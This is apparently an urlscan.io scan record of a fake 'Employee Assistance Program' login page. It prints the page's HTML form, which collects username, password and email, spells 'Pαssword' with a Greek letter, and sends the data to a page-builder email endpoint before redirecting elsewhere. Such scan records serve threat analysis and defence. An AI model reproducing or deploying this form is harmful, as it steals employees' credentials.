2024benefits.unicornplatform.page Open in urlscan Pro
3.219.117.131  Public Scan

Form analysis
1 forms found in the DOM

POST https://app.unicornplatform.com/api/v1/websites/send_to_email/167133/email-58278

<form class="form  form--centered-button  js-subscribe-email-form" action="https://app.unicornplatform.com/api/v1/websites/send_to_email/167133/email-58278" method="POST" data-sheet-id="" data-redirect-url="https://www.ess-authentication.com/"
  data-redirect-target-blank="False" data-pass-values-redirect="False">
  <div class="form__inputs">
    <div class="form__input    ">
      <div class="form__input__label_box">
        <label class="form__input__label " for="Username:-167133-0">
          <span class="form__input__label_asterix" title="This field is required.">*</span> Username: </label>
      </div>
      <input class="text-input js-form-input   " type="text" id="Username:-167133-0" name="Username:" required="" placeholder="User ID">
    </div>
    <div class="form__input    ">
      <div class="form__input__label_box">
        <label class="form__input__label " for="Pαssword:-167133-1">
          <span class="form__input__label_asterix" title="This field is required.">*</span> Pαssword: </label>
      </div>
      <input class="text-input js-form-input   " type="text" id="Pαssword:-167133-1" name="Pαssword:" required="" placeholder="********">
    </div>
    <div class="form__input  form__input--full   ">
      <div class="form__input__label_box">
        <label class="form__input__label " for="Email-Address:-167133-2">
          <span class="form__input__label_asterix" title="This field is required.">*</span> Email Address: </label>
      </div>
      <input class="text-input js-form-input   " type="email" id="Email-Address:-167133-2" name="Email-Address:" required="" placeholder="your@email.com">
    </div>
    <div class="form__button  form__button--full ">
      <button class="button js-submit-button button--accent-bg " type="submit"><span class="button__text">Log in</span>
        <div class="spinner"></div>
        <div class="button__submit_success">
          <div class="button__success_circle "></div>
          <div><svg class="button__success_tick" width="13" height="13" viewBox="0 0 13 13" xmlns="http://www.w3.org/2000/svg">
              <path class="button__success_tick_path" stroke="#FFF" d="M0 8l5.119 3.873L11.709.381" fill="none" fill-rule="evenodd" stroke-linecap="square"></path>
            </svg></div>
        </div><span class="icon"><svg viewBox="0 0 13 10" xmlns="http://www.w3.org/2000/svg">
            <path d="M12.823 4.164L8.954.182a.592.592 0 0 0-.854 0 .635.635 0 0 0 0 .88l2.836 2.92H.604A.614.614 0 0 0 0 4.604c0 .344.27.622.604.622h10.332L8.1 8.146a.635.635 0 0 0 0 .88.594.594 0 0 0 .854 0l3.869-3.982a.635.635 0 0 0 0-.88z"
              fill-rule="nonzero" fill="#00396B" class="fill-main"></path>
          </svg></span>
      </button>
    </div>
    <div class="form__messages_box">
      <div class="form__messages">
        <div class="message message--error js-message js-error-message">
          <div class="message__box">
            <button class="message__close js-close-message" type="button"><img loading="lazy" class="message__close_icon" src="https://dvzvtsvyecfyp.cloudfront.net/static/img/icons/corner-top--blue.svg"></button>
            <div class="message__body">
              <div class="message__in">
                <div class="message__bubble">
                  <div class="message__bubble_text"><b>Error.</b> Your form has not been submitted<img loading="lazy" class="emoji  " src="https://dvzvtsvyecfyp.cloudfront.net/static/img/twemoji/1f914.svg" alt="Emoji">
                  </div>
                </div>
                <div class="message__bubble">
                  <div class="message__bubble_text">This is what the server says: <div class="message__bubble_error js-error-message-text">There must be an @ at the beginning.</div>
                  </div>
                </div>
              </div>
              <div class="message__out">
                <div class="message__out_box">
                  <div class="message__bubble">
                    <div class="message__bubble_text message__bubble_text--out js-reaction-text">I will retry</div>
                  </div>
                </div>
              </div>
            </div>
            <div class="message__reply_box">
              <div class="message__reply_word">Reply</div>
              <div class="message__options">
                <div class="message__option">
                  <button class="button js-react-on-message button--ruby-bg " type="submit"><span class="button__text">Uh oh!</span>
                  </button>
                </div>
                <div class="message__option">
                  <button class="button js-react-on-message button--ruby-bg " type="submit"><span class="button__text">I will retry</span>
                  </button>
                </div>
              </div>
            </div>
          </div>
        </div>
      </div>
    </div>
  </div>
</form>

Text Content

 * 

 * 


2024 ASSISTANCE PROGRAM

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* Username:
* Pαssword:
* Email Address:
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Error. Your form has not been submitted
This is what the server says:
There must be an @ at the beginning.
I will retry
Reply
Uh oh!
I will retry
© 2024 

Employee Assistance Program.